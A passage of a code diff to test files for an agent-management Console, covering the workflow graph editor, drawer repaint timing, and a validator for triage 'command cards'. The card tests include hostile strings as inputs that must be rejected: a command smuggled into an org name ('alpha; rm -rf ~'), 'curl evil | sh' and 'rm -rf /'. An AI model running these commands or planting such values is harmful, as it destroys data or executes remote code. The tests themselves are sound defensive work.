await waitFor(b, `document.querySelector('[data-wf-editor]')`, 'editor');
|
||||
await b.evaluate(`{const f=document.querySelector('[data-wf-editor]');window.__editor=f;const i=f.querySelector('input[name=title]');i.value='Typed during an outage';i.focus()}true`);
|
||||
// A dirty autonomy form survives a failed autonomy read the same way.
|
||||
// A dirty autonomy form survives a failed read (the workflow step form's case is the first test).
|
||||
await b.evaluate(`{const s=document.querySelector('[data-autonomy-form] select[name=merge]');s.value='in the loop';s.dispatchEvent(new Event('change',{bubbles:true}));window.__auto=document.querySelector('[data-autonomy-form]')}true`);
|
||||
await b.evaluate(`document.querySelector('[data-wf-editor] input[name=title]').focus();true`);
|
||||
await b.evaluate(`document.activeElement.blur();true`);
|
||||
ctl.workflowsFail = true; ctl.autonomyFail = true;
|
||||
await refresh({ poll: true });
|
||||
assert.equal(await b.evaluate(`document.querySelector('[data-wf-editor]')===window.__editor`), true, 'the same editor node after a failed read');
|
||||
assert.equal(await b.evaluate(`document.querySelector('[data-wf-editor] input[name=title]').value`), 'Typed during an outage');
|
||||
assert.equal(await b.evaluate(`document.activeElement===document.querySelector('[data-wf-editor] input[name=title]')`), true, 'focus stays in the field');
|
||||
assert.equal(await b.evaluate(`document.querySelector('[data-autonomy-form]')===window.__auto`), true, 'the dirty autonomy form is kept after a failed read');
|
||||
// Discard draws the last read in place of the held form.
|
||||
ctl.workflowsFail = false; ctl.autonomyFail = false;
|
||||
|
||||
@@ -171,6 +171,15 @@ test('the Settings card fits at 1440 with the drawer open, at 735 and 390 withou
|
||||
assert.equal(tops.length, 2);
|
||||
assert.notEqual(tops[0][0], tops[1][0], 'the columns sit side by side at 1440');
|
||||
assert.equal(tops[0][1], tops[1][1], 'the first headings start level');
|
||||
// SP16: the Workflows card sits under Active agent sessions, so the left column is not empty below
|
||||
// the sessions and the Settings column holds Settings alone. How near level the two end depends on
|
||||
// how many agents the sessions list has; the Settings card is the taller with three.
|
||||
const cols = await b.evaluate(`[...document.querySelectorAll('#bus-view .ws-dash>.ws-split>section')].map(s => ({ wf: !!s.querySelector('[data-wfg-card]'), heads: [...s.querySelectorAll('h2')].map(h => h.textContent.trim()) }))`);
|
||||
assert.deepEqual(cols.map(c => c.wf), [true, false], `the Workflows card is in the left column: ${JSON.stringify(cols)}`);
|
||||
assert.equal(cols[0].heads[0], 'Active agent sessions');
|
||||
assert.deepEqual(cols[1].heads, ['Settings']);
|
||||
const gap = await b.evaluate(`(() => { const left = document.querySelector('#bus-view .ws-dash>.ws-split>section'), card = left.querySelector('[data-wfg-card]'), above = card.previousElementSibling; return Math.round(card.getBoundingClientRect().top - above.getBoundingClientRect().bottom); })()`);
|
||||
assert.ok(gap >= 0 && gap <= 40, `the Workflows card follows the sessions directly: ${gap}px`);
|
||||
});
|
||||
|
||||
test('the bare organization address with a query is the organization page, query kept; ?agent= opens the drawer', async t => {
|
||||
@@ -234,6 +243,28 @@ test('SP14 review: another agent opened while the drawer\'s instances read is op
|
||||
assert.equal(await has('[data-ws-drawer="acme:coder"]'), false);
|
||||
});
|
||||
|
||||
// SP16 (#1873): the page's own metrics read, held when a test asks, so the drawer's instances read can
|
||||
// answer after the drawer's HTML is built and before the page that carries it is on screen.
|
||||
const HOLD_WS = `(() => { const real = window.fetch; let held = false; window.fetch = async (url, init) => { const u = String(url); if (!held && /^\\/api\\/workspace\\?/.test(u) && /metrics/.test(u)) { held = true; await new Promise(done => { window.__releaseWs = done; }); } return real(url, init); }; })();`;
|
||||
|
||||
test('SP16: a drawer whose instances read answers after its HTML is built, before it is on screen, still repaints', async t => {
|
||||
const { b, wait, text, has } = await setup(t, { hash: '#/orgs/acme/organization?agent=acme%3Acoder', inst: 'hold', scripts: [HOLD_WS] });
|
||||
const d = '[data-ws-drawer="acme:coder"]';
|
||||
// The page's metrics read is held; the page's other reads answer, so the drawer builds its pending HTML.
|
||||
await wait('typeof window.__releaseWs === "function" && typeof window.__release === "function"');
|
||||
await b.evaluate('new Promise(r => setTimeout(r, 600))');
|
||||
assert.equal(await has(d), false, 'the page is not on screen yet');
|
||||
// The instances read answers in the gap, then the page paints.
|
||||
await b.evaluate('window.__release()');
|
||||
await b.evaluate('new Promise(r => setTimeout(r, 200))');
|
||||
await b.evaluate('window.__releaseWs()');
|
||||
await wait(`${settled} && ${open('acme:coder')}`);
|
||||
await b.evaluate('new Promise(r => setTimeout(r, 1000))');
|
||||
assert.equal(await has(`${d}[data-drawer-pending]`), false, 'the drawer still says Reading state… after its read answered');
|
||||
assert.match(await text(`${d} [data-drawer-state]`), /(^|\s)working$/);
|
||||
assert.equal(await has(`${d} [data-drawer-stop]`), true);
|
||||
});
|
||||
|
||||
test('a drawer closed before its instances read answers keeps no answer for the next open', async t => {
|
||||
const idle = 'window.__heldIdle = true;';
|
||||
const { b, wait, text } = await setup(t, { hash: '#/orgs/acme/organization?agent=acme%3Acoder', inst: 'hold', scripts: [idle] });
|
||||
|
||||
@@ -1,8 +1,9 @@
|
||||
// Starter packs SP6 (#1873): the owner's pack picker and workflow editor on an organization's page,
|
||||
// driven in Chromium against stand-in pack verbs and a stand-in workflow read. It checks what the page
|
||||
// shows from what the bus returns: the preview's marks, flagged lines, credential lines and noHire mark;
|
||||
// a step role that no longer resolves; an organization-supplied title or label rendered as text; and
|
||||
// the save and delete requests the editor sends.
|
||||
// Starter packs SP6 (#1873): the owner's pack picker on an organization's page, and the organization's
|
||||
// workflows, driven in Chromium against stand-in pack verbs and a stand-in workflow read. It checks what the
|
||||
// page shows from what the bus returns: the preview's marks, flagged lines, credential lines and noHire mark;
|
||||
// a step role that no longer resolves; an organization-supplied title or label rendered as text; and the save
|
||||
// and delete requests the workflow pages send. SP17: the organization page's old workflow form is gone; the
|
||||
// graph pages (#/orgs/<id>/workflows) are the one editor, so the workflow test drives those.
|
||||
import test from 'node:test';
|
||||
import assert from 'node:assert/strict';
|
||||
import { startServer } from '../src/serve.mjs';
|
||||
@@ -134,76 +135,99 @@ test('SP6 pack picker without send previews but offers no apply', { timeout: 600
|
||||
await waitFor(b, `document.querySelector('[data-pack-preview]')`, 'preview');
|
||||
assert.equal(await b.evaluate(`document.querySelector('[data-pack-apply]')`), null);
|
||||
assert.match(await b.evaluate(`document.querySelector('[data-pack-preview]').textContent`), /started without send/);
|
||||
assert.equal(await b.evaluate(`document.querySelector('[data-wf-edit],[data-wf-new]')`), null, 'no workflow change controls without send');
|
||||
// Without send the workflow read is not writable: the graph page shows the step as text and no form.
|
||||
await b.evaluate(`location.hash = '#/orgs/acme/workflows/intake?step=1'`);
|
||||
await waitFor(b, `document.querySelector('[data-wfg-detail] [data-wfg-field="roles"]')`, 'read-only step');
|
||||
assert.equal(await b.evaluate(`document.querySelector('[data-wfg-form],[data-wfg-save],[data-wfg-delete],[data-wf-edit],[data-wf-new]')`), null, 'no workflow change controls without send');
|
||||
assert.ok(await b.evaluate(`!!document.querySelector('[data-wfg-readonly]')`));
|
||||
});
|
||||
|
||||
test('SP6 workflows: list by scope, a step naming no current role, titles as text, edit, new and delete', { timeout: 60000 }, async t => {
|
||||
test('SP6 workflows: list by scope, a step naming no current role, titles as text, edit, new and delete', { timeout: 90000 }, async t => {
|
||||
const { b, verbs, flows } = await fixture(t);
|
||||
await waitFor(b, `document.querySelector('[data-wf="intake"]')`, 'workflow list');
|
||||
assert.deepEqual(await b.evaluate(`[...document.querySelectorAll('[data-wf-scope-list]')].map(n=>n.dataset.wfScopeList)`), ['', 'site']);
|
||||
assert.equal(await b.evaluate(`document.querySelector('[data-wf="intake"] [data-wf-title]').textContent`), `Intake ${XSS}`);
|
||||
assert.equal(await b.evaluate(`document.querySelectorAll('[data-workflows] img').length`), 0, 'a workflow title never becomes markup');
|
||||
const press = sel => b.evaluate(`(()=>{const e=document.querySelector(${JSON.stringify(sel)});if(!e)throw Error('no '+${JSON.stringify(sel)});if(e.disabled)throw Error('disabled '+${JSON.stringify(sel)});e.click();return true})()`);
|
||||
const fill = (sel, value) => b.evaluate(`(()=>{const e=document.querySelector(${JSON.stringify(sel)});e.value=${JSON.stringify(value)};e.dispatchEvent(new Event('input',{bubbles:true}));return true})()`);
|
||||
const text = sel => b.evaluate(`(document.querySelector(${JSON.stringify(sel)})?.textContent ?? '').replace(/\\s+/g,' ').trim()`);
|
||||
const sets = () => verbs.filter(([v]) => v === 'workflow.set.console');
|
||||
// The organization page: the Workflows card, no old form.
|
||||
await waitFor(b, `document.querySelectorAll('[data-wfg-card] [data-wfg-card-item]').length === 2`, 'workflow card');
|
||||
assert.equal(await b.evaluate(`document.querySelector('[data-workflows],[data-wf-edit],[data-wf-new]')`), null, 'the old organization-page editor is gone');
|
||||
assert.equal(await b.evaluate(`document.querySelectorAll('[data-org-dashboard] img').length`), 0, 'a workflow title never becomes markup');
|
||||
// The list: each scope, titles as text.
|
||||
await b.evaluate(`location.hash = '#/orgs/acme/workflows'`);
|
||||
await waitFor(b, `document.querySelector('[data-wfg-item="intake"]')`, 'workflow list');
|
||||
assert.deepEqual(await b.evaluate(`[...document.querySelectorAll('[data-wfg-scope-list]')].map(n=>n.dataset.wfgScopeList)`), ['', 'site']);
|
||||
assert.equal(await b.evaluate(`document.querySelector('[data-wfg-item="intake"] a[data-wfg-open]').textContent`), `Intake ${XSS}`);
|
||||
assert.equal(await b.evaluate(`document.querySelectorAll('#bus-view img').length`), 0);
|
||||
assert.equal(await b.evaluate(`window.__sp6pwn===undefined`), true);
|
||||
// triage (an org definition), human and coder (a template) resolve; ghost names no current role.
|
||||
assert.deepEqual(await b.evaluate(`[...document.querySelectorAll('[data-wf="intake"] [data-wf-step]')].map(s=>s.querySelectorAll('[data-wf-missing]').length)`), [0, 1]);
|
||||
assert.match(await b.evaluate(`document.querySelectorAll('[data-wf="intake"] [data-wf-step]')[1].textContent`), /ghost names no current role/);
|
||||
assert.equal(await b.evaluate(`document.querySelectorAll('[data-wf="ship"] [data-wf-missing]').length`), 0);
|
||||
|
||||
// Edit: the ghost step shows the mark in the editor; fixing the role clears it; save sends the revision.
|
||||
await b.evaluate(`document.querySelector('[data-wf="intake"] [data-wf-edit]').click();true`);
|
||||
await waitFor(b, `document.querySelector('[data-wf-editor]')`, 'editor');
|
||||
assert.equal(await b.evaluate(`document.querySelector('[data-wf-edit-step="1"] [data-wf-step-missing]').textContent`), 'ghost names no current role');
|
||||
assert.equal(await b.evaluate(`document.querySelector('[data-wf-editor] input[name=title]').value`), `Intake ${XSS}`);
|
||||
await b.evaluate(`{const r=document.querySelector('[data-wf-edit-step="1"] [name=roles]');r.value='reviewer, <b>x</b>';r.dispatchEvent(new Event('input',{bubbles:true}))}true`);
|
||||
assert.equal(await b.evaluate(`document.querySelector('[data-wf-edit-step="1"] [data-wf-step-missing]').textContent`), '<b>x</b> names no current role');
|
||||
assert.equal(await b.evaluate(`document.querySelectorAll('[data-wf-edit-step="1"] b').length`), 0);
|
||||
await b.evaluate(`{const r=document.querySelector('[data-wf-edit-step="1"] [name=roles]');r.value='reviewer';r.dispatchEvent(new Event('input',{bubbles:true}))}true`);
|
||||
assert.equal(await b.evaluate(`document.querySelector('[data-wf-edit-step="1"] [data-wf-step-missing]').textContent`), '');
|
||||
await b.evaluate(`document.querySelector('[data-wf-editor] input[name=title]').value='Intake';document.querySelector('[data-wf-editor]').requestSubmit();true`);
|
||||
await waitFor(b, `document.querySelector('[data-workflows-status]').textContent==='Saved intake.'`, 'save status');
|
||||
const saved = verbs.filter(([v]) => v === 'workflow.set.console').at(-1)[1];
|
||||
assert.deepEqual(saved, { revision: REV('a'), name: 'intake', workflow: { title: 'Intake', description: `Sort ${XSS}`, steps: [{ title: `Sort ${XSS}`, state: 'todo', roles: ['triage', 'human'] }, { title: 'Hand off', state: 'in-progress', roles: ['reviewer'] }] } });
|
||||
assert.equal(await b.evaluate(`document.querySelectorAll('[data-wf="intake"] [data-wf-missing]').length`), 0, 'the re-read shows the fixed step');
|
||||
// The graph: triage (an organization role), human and coder (a template) resolve; ghost names no current role.
|
||||
await b.evaluate(`location.hash = '#/orgs/acme/workflows/intake'`);
|
||||
await waitFor(b, `document.querySelectorAll('[data-wfg-graph] [data-wfg-step]').length === 2 && document.querySelector('[data-wfg-meta-form]')`, 'graph');
|
||||
assert.deepEqual(await b.evaluate(`[...document.querySelectorAll('[data-wfg-graph] [data-wfg-step]')].map(s=>s.querySelectorAll('[data-wfg-missing]').length)`), [0, 1]);
|
||||
assert.equal(await b.evaluate(`document.querySelectorAll('#bus-view img').length`), 0);
|
||||
// The workflow title changes in the panel with no step selected; it is held until Save.
|
||||
assert.equal(await b.evaluate(`document.querySelector('[data-wfg-meta-form] input[name=title]').value`), `Intake ${XSS}`);
|
||||
await fill('[data-wfg-meta-form] input[name=title]', 'Intake');
|
||||
// Step 2's form marks ghost; swapping it for reviewer clears the mark in the graph.
|
||||
await b.evaluate(`document.querySelector('[data-wfg-step="2"]').dispatchEvent(new MouseEvent('click',{bubbles:true,cancelable:true}));true`);
|
||||
await waitFor(b, `document.querySelector('[data-wfg-step-form="1"]')`, 'step 2 form');
|
||||
assert.match(await text('[data-wfg-step-form="1"] [data-wfg-roles-pick]'), /ghost names no current role/);
|
||||
await press('[data-wfg-step-form="1"] input[name="role"][value="ghost"]');
|
||||
await press('[data-wfg-step-form="1"] input[name="role"][value="reviewer"]');
|
||||
await waitFor(b, `document.querySelectorAll('[data-wfg-graph] [data-wfg-missing]').length === 0`, 'mark cleared in the graph');
|
||||
assert.equal(sets().length, 0, 'nothing sent before Save');
|
||||
await press('[data-wfg-step-form="1"] [data-wfg-save]');
|
||||
await waitFor(b, `/Saved intake\\./.test(document.querySelector('[data-wfg-status]')?.textContent ?? '')`, 'save status');
|
||||
assert.deepEqual(sets().at(-1)[1], { revision: REV('a'), name: 'intake', workflow: { title: 'Intake', description: `Sort ${XSS}`, steps: [{ title: `Sort ${XSS}`, state: 'todo', roles: ['triage', 'human'] }, { title: 'Hand off', state: 'in-progress', roles: ['reviewer'] }] } });
|
||||
assert.equal(await b.evaluate(`document.querySelector('#bus-view h1').textContent`), 'Intake');
|
||||
assert.equal(await b.evaluate(`document.querySelectorAll('[data-wfg-graph] [data-wfg-missing]').length`), 0, 'the saved workflow shows the fixed step');
|
||||
|
||||
// New, in the project scope: a bad name is refused on the page and sends nothing.
|
||||
const sets = () => verbs.filter(([v]) => v === 'workflow.set.console').length;
|
||||
const before = sets();
|
||||
await b.evaluate(`document.querySelector('[data-wf-new]').click();true`);
|
||||
await waitFor(b, `document.querySelector('[data-wf-editor] select[name=scope]')`, 'new editor');
|
||||
await b.evaluate(`{const f=document.querySelector('[data-wf-editor]');f.elements.scope.value='site';f.elements.name.value='Bad Name';f.querySelector('[data-wf-edit-step="0"] [name=title]').value='Plan';f.querySelector('[data-wf-edit-step="0"] [name=roles]').value='human';f.requestSubmit()}true`);
|
||||
await waitFor(b, `/lowercase/.test(document.querySelector('[data-workflows-status]').textContent)`, 'name refusal');
|
||||
assert.equal(sets(), before);
|
||||
// The writer's name rule (PLAN_NAME): no underscore, dot or leading digit. Each is refused here, not at the bus.
|
||||
for (const bad of ['release_1', 'v2.ship', '2nd-review']) {
|
||||
await b.evaluate(`{const f=document.querySelector('[data-wf-editor]');f.elements.name.value=${JSON.stringify(bad)};f.requestSubmit()}true`);
|
||||
assert.equal(await b.evaluate(`document.querySelector('[data-workflows-status]').textContent`), 'A workflow name is 1 to 64 lowercase letters, digits or dashes, starting with a letter.', bad);
|
||||
assert.equal(sets(), before, `${bad} sends nothing`);
|
||||
const before = sets().length;
|
||||
await b.evaluate(`location.hash = '#/orgs/acme/workflows'`);
|
||||
await waitFor(b, `document.querySelector('[data-wfg-new]')`, 'New workflow');
|
||||
await press('[data-wfg-new]');
|
||||
await waitFor(b, `document.querySelector('[data-wfg-newform] select[name=scope]')`, 'new form');
|
||||
await b.evaluate(`{const f=document.querySelector('[data-wfg-newform]');f.elements.scope.value='site';f.elements.scope.dispatchEvent(new Event('change',{bubbles:true}))}true`);
|
||||
await fill('[data-wfg-newform] input[name=title]', 'Plan');
|
||||
await press('[data-wfg-newform] input[name="role"][value="human"]');
|
||||
// The writer's name rule (PLAN_NAME): lowercase, no underscore, dot or leading digit. Each is refused here, not at the bus.
|
||||
for (const bad of ['Bad Name', 'release_1', 'v2.ship', '2nd-review']) {
|
||||
await fill('[data-wfg-newform] input[name=name]', bad);
|
||||
await press('[data-wfg-create]');
|
||||
await waitFor(b, `(document.querySelector('[data-wfg-newform] [data-wfg-why]')?.textContent ?? '') === 'A workflow name is 1 to 64 lowercase letters, digits or dashes, starting with a letter.'`, `${bad} refused`);
|
||||
assert.equal(sets().length, before, `${bad} sends nothing`);
|
||||
await fill('[data-wfg-newform] input[name=name]', '');
|
||||
}
|
||||
assert.equal(await b.evaluate(`document.querySelector('[data-wf-editor] input[name=name]').placeholder`), 'lowercase letters, digits, dashes');
|
||||
assert.equal(await b.evaluate(`document.querySelector('[data-wfg-newform] input[name=name]').placeholder`), 'lowercase letters, digits, dashes');
|
||||
// A new workflow under a name the scope already holds would replace it: refused, nothing sent.
|
||||
await b.evaluate(`{const f=document.querySelector('[data-wf-editor]');f.elements.name.value='ship';f.requestSubmit()}true`);
|
||||
assert.equal(await b.evaluate(`document.querySelector('[data-workflows-status]').textContent`), 'A workflow named ship already exists here. Edit it instead.');
|
||||
assert.equal(sets(), before, 'an existing name sends nothing');
|
||||
assert.equal(await b.evaluate(`document.querySelector('[data-wf-editor] select[name=scope]').value`), 'site', 'the editor keeps the chosen scope');
|
||||
await b.evaluate(`{const f=document.querySelector('[data-wf-editor]');f.elements.name.value='plan';f.requestSubmit()}true`);
|
||||
await waitFor(b, `document.querySelector('[data-workflows-status]').textContent==='Saved plan.'`, 'new save');
|
||||
assert.deepEqual(verbs.filter(([v]) => v === 'workflow.set.console').at(-1)[1], { revision: REV('b'), name: 'plan', workflow: { steps: [{ title: 'Plan', state: 'todo', roles: ['human'] }] }, project: 'site' });
|
||||
assert.ok(await b.evaluate(`document.querySelector('[data-wf-scope-list="site"] [data-wf="plan"]')!==null`));
|
||||
await fill('[data-wfg-newform] input[name=name]', 'ship');
|
||||
await press('[data-wfg-create]');
|
||||
await waitFor(b, `(document.querySelector('[data-wfg-newform] [data-wfg-why]')?.textContent ?? '') === 'A workflow named ship already exists here. Edit it instead.'`, 'existing name refused');
|
||||
assert.equal(sets().length, before, 'an existing name sends nothing');
|
||||
assert.equal(await b.evaluate(`document.querySelector('[data-wfg-newform] select[name=scope]').value`), 'site', 'the form keeps the chosen scope');
|
||||
await fill('[data-wfg-newform] input[name=name]', 'plan');
|
||||
await press('[data-wfg-create]');
|
||||
await waitFor(b, `location.hash === '#/orgs/acme/workflows/plan?project=site&step=1' && document.querySelector('[data-wfg-save]') && !document.querySelector('[data-wfg-save]').disabled`, 'opens unsaved');
|
||||
assert.equal(sets().length, before, 'Create writes nothing');
|
||||
await press('[data-wfg-save]');
|
||||
await waitFor(b, `/Saved plan\\./.test(document.querySelector('[data-wfg-status]')?.textContent ?? '')`, 'new save');
|
||||
assert.deepEqual(sets().at(-1)[1], { revision: REV('b'), name: 'plan', project: 'site', workflow: { steps: [{ title: 'Plan', state: 'todo', roles: ['human'] }] } });
|
||||
|
||||
// Delete asks first; Keep sends nothing; Delete sends the project and the revision.
|
||||
const del = `[data-wf-scope-list="site"] [data-wf="ship"]`;
|
||||
await b.evaluate(`document.querySelector('${del} [data-wf-delete]').click();true`);
|
||||
await waitFor(b, `document.querySelector('${del} [data-wf-delete-no]')`, 'delete confirm');
|
||||
await b.evaluate(`document.querySelector('${del} [data-wf-delete-no]').click();true`);
|
||||
await waitFor(b, `document.querySelector('${del} [data-wf-delete]')`, 'kept');
|
||||
const n = sets();
|
||||
await b.evaluate(`document.querySelector('${del} [data-wf-delete]').click();true`);
|
||||
await waitFor(b, `document.querySelector('${del} [data-wf-delete-yes]')`, 'delete confirm again');
|
||||
assert.equal(sets(), n);
|
||||
await b.evaluate(`location.hash = '#/orgs/acme/workflows/ship?project=site'`);
|
||||
await waitFor(b, `document.querySelector('[data-wfg-delete]') && document.querySelector('#bus-view h1')?.textContent === 'ship'`, 'ship graph');
|
||||
await press('[data-wfg-delete]');
|
||||
await waitFor(b, `document.querySelector('[data-wfg-delete-no]')`, 'delete confirm');
|
||||
await press('[data-wfg-delete-no]');
|
||||
await waitFor(b, `document.querySelector('[data-wfg-delete]') && !document.querySelector('[data-wfg-confirm]')`, 'kept');
|
||||
const n = sets().length;
|
||||
await press('[data-wfg-delete]');
|
||||
await waitFor(b, `document.querySelector('[data-wfg-delete-yes]')`, 'delete confirm again');
|
||||
assert.equal(sets().length, n);
|
||||
const rev = flows().revision;
|
||||
await b.evaluate(`document.querySelector('${del} [data-wf-delete-yes]').click();true`);
|
||||
await waitFor(b, `document.querySelector('[data-workflows-status]').textContent==='Deleted ship.'`, 'delete status');
|
||||
assert.deepEqual(verbs.filter(([v]) => v === 'workflow.set.console').at(-1)[1], { revision: rev, name: 'ship', workflow: null, project: 'site' });
|
||||
assert.equal(await b.evaluate(`document.querySelector('${del}')`), null);
|
||||
await press('[data-wfg-delete-yes]');
|
||||
await waitFor(b, `location.hash === '#/orgs/acme/workflows' && /Deleted ship\\./.test(document.querySelector('[data-wfg-list] [data-wfg-status]')?.textContent ?? '')`, 'delete status');
|
||||
assert.deepEqual(sets().at(-1)[1], { revision: rev, name: 'ship', workflow: null, project: 'site' });
|
||||
assert.equal(await b.evaluate(`document.querySelector('[data-wfg-scope-list="site"] [data-wfg-item="ship"]')`), null);
|
||||
assert.equal(await b.evaluate(`document.documentElement.scrollWidth<=innerWidth`), true);
|
||||
});
|
||||
@@ -0,0 +1,81 @@
|
||||
// #1873 triage-host: command cards. The server keeps { step, org } with a known step and a
|
||||
// registered org, renders the command itself, and drops everything else.
|
||||
import { test } from "node:test";
|
||||
import assert from "node:assert/strict";
|
||||
import { CARD_STEPS, MAX_CARDS, extractCards, validateCard, plainText } from "../src/triage-cards.mjs";
|
||||
|
||||
const orgs = new Set(["alpha", "beta"]);
|
||||
const fence = (value) => "```cards\n" + (typeof value === "string" ? value : JSON.stringify(value)) + "\n```";
|
||||
|
||||
test("each known step renders its fixed command for a registered org", () => {
|
||||
assert.deepEqual(Object.keys(CARD_STEPS), ["bus-start", "bus-restart", "bus-recover", "bus-stop", "org-config-validate"]);
|
||||
assert.deepEqual(validateCard({ step: "bus-start", org: "alpha" }, orgs), { step: "bus-start", org: "alpha", command: "mosaic bus start alpha --detach" });
|
||||
assert.equal(validateCard({ step: "bus-restart", org: "beta" }, orgs).command, "mosaic bus restart beta");
|
||||
assert.equal(validateCard({ step: "bus-recover", org: "beta" }, orgs).command, "mosaic bus recover beta");
|
||||
assert.equal(validateCard({ step: "bus-stop", org: "beta" }, orgs).command, "mosaic bus stop beta");
|
||||
assert.equal(validateCard({ step: "org-config-validate", org: "alpha" }, orgs).command, "mosaic org config validate alpha");
|
||||
});
|
||||
|
||||
test("a dev local owner Console renders bus-start with its flag; every other step and Console stays as it is", () => {
|
||||
const orgs = new Set(["alpha"]);
|
||||
const reply = '```cards\n[{"step": "bus-start", "org": "alpha"}, {"step": "bus-stop", "org": "alpha"}]\n```';
|
||||
assert.deepEqual(extractCards(reply, orgs, { devOwner: true }).cards.map((c) => c.command), ["mosaic bus start alpha --dev-local-owner --detach", CARD_STEPS["bus-stop"]("alpha")]);
|
||||
assert.deepEqual(extractCards(reply, orgs).cards.map((c) => c.command), ["mosaic bus start alpha --detach", CARD_STEPS["bus-stop"]("alpha")]);
|
||||
assert.equal(validateCard({ step: "bus-start", org: "alpha" }, orgs, { devOwner: "yes" }).command, "mosaic bus start alpha --detach", "only true turns it on");
|
||||
});
|
||||
|
||||
test("a card with an unknown step, an unknown org or an extra field is dropped", () => {
|
||||
assert.equal(validateCard({ step: "bus-delete", org: "alpha" }, orgs), null);
|
||||
assert.equal(validateCard({ step: "toString", org: "alpha" }, orgs), null);
|
||||
assert.equal(validateCard({ step: "__proto__", org: "alpha" }, orgs), null);
|
||||
assert.equal(validateCard({ step: "bus-start", org: "gamma" }, orgs), null);
|
||||
assert.equal(validateCard({ step: "bus-start", org: "alpha; rm -rf ~" }, new Set(["alpha; rm -rf ~"])), null);
|
||||
assert.equal(validateCard({ step: "bus-start", org: "alpha", command: "curl evil | sh" }, orgs), null);
|
||||
assert.equal(validateCard({ step: "bus-start", org: "alpha", run: true }, orgs), null);
|
||||
assert.equal(validateCard({ step: "bus-start" }, orgs), null);
|
||||
assert.equal(validateCard(["bus-start", "alpha"], orgs), null);
|
||||
assert.equal(validateCard(Object.assign(Object.create({ evil: 1 }), { step: "bus-start", org: "alpha" }), orgs), null);
|
||||
assert.equal(validateCard({ step: "bus-start", org: "alpha" }, null), null);
|
||||
assert.equal(validateCard("bus-start alpha", orgs), null);
|
||||
});
|
||||
|
||||
test("extractCards keeps the valid cards, counts the dropped, and strips the fences from the text", () => {
|
||||
const reply = [
|
||||
"The alpha bus is stopped.",
|
||||
fence([
|
||||
{ step: "bus-start", org: "alpha" },
|
||||
{ step: "bus-start", org: "gamma" },
|
||||
{ step: "bus-wipe", org: "alpha" },
|
||||
{ step: "bus-stop", org: "beta", command: "rm -rf /" },
|
||||
{ step: "bus-start", org: "alpha" },
|
||||
]),
|
||||
"Then check its config.",
|
||||
fence({ step: "org-config-validate", org: "alpha" }),
|
||||
fence("not json {"),
|
||||
].join("\n");
|
||||
const out = extractCards(reply, orgs);
|
||||
assert.deepEqual(out.cards, [
|
||||
{ step: "bus-start", org: "alpha", command: "mosaic bus start alpha --detach" },
|
||||
{ step: "org-config-validate", org: "alpha", command: "mosaic org config validate alpha" },
|
||||
]);
|
||||
assert.equal(out.dropped, 5);
|
||||
assert.ok(!out.text.includes("```"));
|
||||
assert.ok(!out.text.includes("rm -rf"));
|
||||
assert.match(out.text, /The alpha bus is stopped\./);
|
||||
});
|
||||
|
||||
test("no more than MAX_CARDS cards are kept", () => {
|
||||
const many = [];
|
||||
for (const step of Object.keys(CARD_STEPS)) for (const org of orgs) many.push({ step, org });
|
||||
const out = extractCards(fence(many), orgs);
|
||||
assert.equal(out.cards.length, MAX_CARDS);
|
||||
assert.equal(out.dropped, many.length - MAX_CARDS);
|
||||
});
|
||||
|
||||
test("the explanation is plain text: no control or direction characters, clipped", () => {
|
||||
assert.equal(plainText("a\u001b[31mred\u0007b\r\nc\td"), "a[31mredb\nc\td");
|
||||
assert.equal(plainText("a\u061cb\u180ec\u2028d\u2029e\ufefff"), "abcdef");
|
||||
assert.equal(plainText("x".repeat(9000)).length, 8000);
|
||||
assert.equal(plainText(null), "");
|
||||
assert.deepEqual(extractCards(null, orgs), { text: "", cards: [], dropped: 0 });
|
||||
});
|
||||
@@ -0,0 +1,411 @@
|
||||
// #1873 triage-drawer: the Console's Triage drawer over GET /api/triage and POST /api/triage/message.
|
||||
// Only the instance owner sees it: the entry, the drawer and every Triage request exist only when the
|
||||
// unscoped /api/config says triage: true. The real server serves the routes from a fake Triage host,
|
||||
// so every answer here crossed the real HTTP boundary. One page stub forces the 403 answer, which the
|
||||
// browser's own same-origin request cannot produce.
|
||||
import { test } from 'node:test';
|
||||
import assert from 'node:assert/strict';
|
||||
import { fileURLToPath } from 'node:url';
|
||||
import { startServer } from '../src/serve.mjs';
|
||||
import { createDevOwner } from '../src/dev-owner.mjs';
|
||||
import { TriageError, NOT_STARTED } from '../src/triage-host.mjs';
|
||||
import { capMessage, NO_ROUTE_MESSAGE } from '../src/triage-http.mjs';
|
||||
import { browser } from './browser.mjs';
|
||||
import { close } from './fixture.mjs';
|
||||
|
||||
const waitFor = b => (expression, tries = 200) => b.evaluate(`(async()=>{for(let i=0;i<${tries};i++){if(${expression})return;await new Promise(r=>setTimeout(r,30))}throw Error(${JSON.stringify(expression)})})()`);
|
||||
const sleep = ms => new Promise(r => setTimeout(r, ms));
|
||||
const at = minutesAgo => new Date(Date.now() - minutesAgo * 60000).toISOString();
|
||||
const POLL_MS = 4000;
|
||||
|
||||
async function orgFixture() {
|
||||
const { checkRootAgents } = await import('../../organization/src/index.mjs');
|
||||
const rolesDir = fileURLToPath(new URL('../../../roles', import.meta.url));
|
||||
const root = { state: 'ok', ...checkRootAgents({ agentsVersion: 1, agents: {} }, { rolesDir }) };
|
||||
const LIST = [{ id: 'acme', label: 'Acme Studio', theme: 'cobalt', busHealthy: true }];
|
||||
const empty = (name) => Promise.resolve(['usage', 'limits'].includes(name) ? {} : []);
|
||||
const opts = () => ({
|
||||
bus: { inbox: () => empty('inbox'), agents: () => empty('agents'), 'thread.claims': () => empty('claims'), tasks: () => empty('tasks'), usage: () => empty('usage'), limits: () => empty('limits'), decisions: () => empty('decisions') },
|
||||
chat: { threads: () => empty('threads'), projects: () => empty('projects') },
|
||||
});
|
||||
const member = org => ({ id: org.id, doc: { appearance: { theme: org.theme }, roles: { chief: { definition: 'chief-of-staff' } }, projects: {} }, status: async () => ({ healthy: true, pid: 4242, boot: null }), options: opts });
|
||||
const organizations = {
|
||||
list: async () => LIST,
|
||||
members: async () => LIST.map(member),
|
||||
resolve: async id => {
|
||||
const org = LIST.find(o => o.id === id); if (!org) return null;
|
||||
return {
|
||||
busHealthy: true,
|
||||
reads: { business: async () => ({ business: { id, human: 'jason', projects: [], appearance: { theme: org.theme } } }), settings: async () => ({ business: id, release: 'fixture', notifier: {}, launch: { business: id, revision: 'a'.repeat(64), models: {}, limits: { total: 4 }, instances: {}, usage: { total: 0, providers: {}, models: {} } } }), queue: async () => ({ rows: [] }), busStatus: async () => ({}) },
|
||||
